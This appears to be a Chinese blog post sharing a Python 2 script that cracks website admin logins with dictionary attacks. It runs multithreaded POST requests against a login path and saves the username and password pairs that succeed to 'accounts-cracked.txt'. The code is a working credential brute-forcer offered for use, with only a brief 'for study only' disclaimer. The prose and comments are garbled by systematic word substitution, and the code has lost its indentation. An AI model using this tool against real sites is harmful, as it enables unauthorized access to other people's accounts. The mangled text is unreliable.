python 写的http靠山弱口令爆破东西
本日来弄一个靠山破解的Python小措施,哈哈,直接上代码吧,都有注释~~
# -*- coding: utf-8 -*-
# 操作python 写的多线程爆破靠山用户名+暗码(自备字典),较量实用,纵然是在信息安详这么重视的本日,照旧有人不加验证码可能异常会见限制之类的登岸验证方法,这样就很# 容易被弱口令爆破东西拿下,(本代码仅限进修实用,克制举办web进攻,不包袱法令责任)
import urllib2
import urllib
import httplib
import threading
headers = {"Content-Type":"application/x-www-form-urlencoded",
"Connection":"Keep-Alive",
"Referer":"http://www.xxxxx.com/"};# referer:是署理的会见来历地点
# lock = threading.Lock()
def tryUser(user,password):
#print user,password
global headers
global outFile
conn = httplib.HTTPConnection("www.xxxxx.com") # 长途域名
if len(user) < 3: # 限制用户名长度,解除字典中的无用数据
return # 主动退出线程
else:
#lock.acquire() # 多线程操纵文件,提前加锁,用后释放
#line = inFile.readline()
#userData = line.strip().split(' # ') # strip() 默认去除空缺字符包罗' ','\t','\n'等
#lock.release()
user = user.strip()
passwd = password.strip()
params = urllib.urlencode({'username': user, 'password': passwd})
conn.request(method="POST", url="/users/login", body=params, headers=headers) # 靠山路径
responseText = conn.getresponse().read().decode('utf8') # 网页编码
#print responseText # 第一次可以打印看看是否理会
if not responseText.find(u'用户名可能暗码不正确,请从头输入!') > 0 :
print '----- find user:', user, 'with password:', passwd, '-----'
outFile.write(user + ' ' + passwd + '\n')
return
outFile = open('accounts-cracked.txt', 'w')
if __name__ == '__main__':
tsk=[] # 建设线程池
with open(r'user.dic', 'r') as fUser: # 利用with as 来打开文件,不需本身封锁文件,因为他会本身在符合的时候自已封锁(雷同C# 中的using(...){}接口)
with open(r'pass.dic', 'r') as fPass:
for user in fUser.readlines():
for password in fPass.readlines():
t= threading.Thread(target = tryUser,args=(user,password))
t.daemon = False # 配置不举办历程守护
tsk.append(t) # t.start()
fPass.seek(0)
# 记着这里要将文件从头移到文件首,否则就会呈现只执行外层轮回的第一条,因为内层在
# 迭代之后(readlines()是迭代器的形式,迭代一次后文件指针就指到文件尾了,迭代器
# 也是end了)第二次就没有password 在 fPass中,也就是说 for password in fPass.readlines():
# 为空,所以这里的内层轮回就不会被执行了,因此也就是迭代器清零的问题(C ++ itertor 常有)
# join()无参数就是完全阻塞主线程,期待线程执行完 有参数就是说,
# 在主线程期待一秒后就不阻塞线程了,继承执行主线程,这里的意思是一秒钟开一个线程
# 不能再thread start之前挪用join(), 因为join() 是线程运行时调治
for t in tsk:
t.start()
t.join(1)
print "All thread OK,maybe not "
outFile.close()